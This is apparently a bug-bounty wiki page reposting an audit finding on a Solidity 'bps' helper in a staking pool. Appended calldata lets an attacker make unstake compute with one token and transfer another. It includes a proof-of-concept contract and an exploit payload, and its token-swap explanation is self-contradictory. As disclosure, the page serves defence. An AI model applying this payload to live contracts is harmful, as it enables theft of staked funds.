[Bug] A critical bug in bps function
The bps function reads the token address from the end of calldata, but an attacker can append extra data to make it return a different address. This allows the unstake function to compute amounts using one token but transfer another, potentially profiting if the transferred token is more valuable.
Submitted by hrkrshnn, also found by jonah1005 and walker
function bps() internal pure returns (IERC20 rt) {
// These fields are not accessible from assembly
bytes memory array = msg.data;
uint256 index = msg.data.length;
// solhint-disable-next-line no-inline-assembly
assembly {
// Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those.
rt := and(mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff)
}
}
The above function is designed to expect the token at the end of calldata, but a malicious user can inject extra values at the end of calldata and fake return values.
The following contract demonstrates an example:
pragma solidity 0.8.6;
interface IERC20 {}
error StaticCallFailed();
contract BadEncoding {
/// Will return address(1). But address(0) is expected!
function f() external view returns (address) {
address actual = address(0);
address injected = address(1);
(bool success, bytes memory ret) = address(this).staticcall(abi.encodeWithSelector(this.g.selector, actual, injected));
if (!success) revert StaticCallFailed();
return abi.decode(ret, (address));
}
function g(IERC20 _token) external pure returns (IERC20) {
// to get rid of the unused warning
_token;
// Does it always match _token?
return bps();
}
// From Sherlock Protocol: PoolBase.sol
function bps() internal pure returns (IERC20 rt) {
// These fields are not accessible from assembly
bytes memory array = msg.data;
uint256 index = msg.data.length;
// solhint-disable-next-line no-inline-assembly
assembly {
// Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those.
rt := and(mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff)
}
}
}
This example can be used to exploit the protocol:
function unstake(
uint256 _id,
address _receiver,
IERC20 _token
) external override returns (uint256 amount) {
PoolStorage.Base storage ps = baseData();
require(_receiver != address(0), 'RECEIVER');
GovStorage.Base storage gs = GovStorage.gs();
PoolStorage.UnstakeEntry memory withdraw = ps.unstakeEntries[msg.sender][_id];
require(withdraw.blockInitiated != 0, 'WITHDRAW_NOT_ACTIVE');
// period is including
require(withdraw.blockInitiated + gs.unstakeCooldown < uint40(block.number), 'COOLDOWN_ACTIVE');
require(
withdraw.blockInitiated + gs.unstakeCooldown + gs.unstakeWindow >= uint40(block.number),
'UNSTAKE_WINDOW_EXPIRED'
);
amount = withdraw.lock.mul(LibPool.stakeBalance(ps)).div(ps.lockToken.totalSupply());
ps.stakeBalance = ps.stakeBalance.sub(amount);
delete ps.unstakeEntries[msg.sender][_id];
ps.lockToken.burn(address(this), withdraw.lock);
_token.safeTransfer(_receiver, amount);
}
State token Token1. Let’s say there is a more expensive token Token2.
Here’s an example exploit:
bytes memory exploitPayload = abi.encodeWithSignature(
PoolBase.unstake.selector,
(uint256(_id), address(_receiver), address(Token2), address(Token1))
);
poolAddress.call(exploitPayload);
All the calculations on ps would be done on Token2, but at the end, because of, _token.safeTransfer(_receiver, amount);, Token2 would be transferred. Assuming that Token2 is more expensive than Token1, the attacker makes a profit.
Similarly, the same technique can be used at a lot of other places. Even if this exploit is not profitable, the fact that the computations can be done on two different tokens is buggy.
There are several other places where the same pattern is used. All of them needs to be fixed. I’ve not written an exhaustive list.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The bps function reads the token address from the end of calldata without verifying that the calldata length matches the expected arguments, allowing injection of extra data.
Impact
An attacker could profit by making the contract compute amounts with a cheaper token but transfer a more expensive one; the text notes this may not always be profitable but is still buggy.
What the attacker needed
Ability to call the vulnerable function; A token pair with different values
The fix
The bps function should be fixed to not rely on calldata length, for example by passing the token address explicitly as a parameter.
How it was found
- Identify a function that uses bps to read a token address from calldata.
- Craft a call to that function with extra data appended to calldata, specifying a different token address.
- The function uses the injected token for calculations but transfers the original token.
- Profit if the injected token is more valuable than the original.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Smart contracts sometimes read data from the end of a function call to save gas. Here, the contract assumes the last piece of data is the token address, but an attacker can add extra data so the contract reads a different address. This lets the attacker trick the contract into using one token for calculations and another for the actual transfer.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.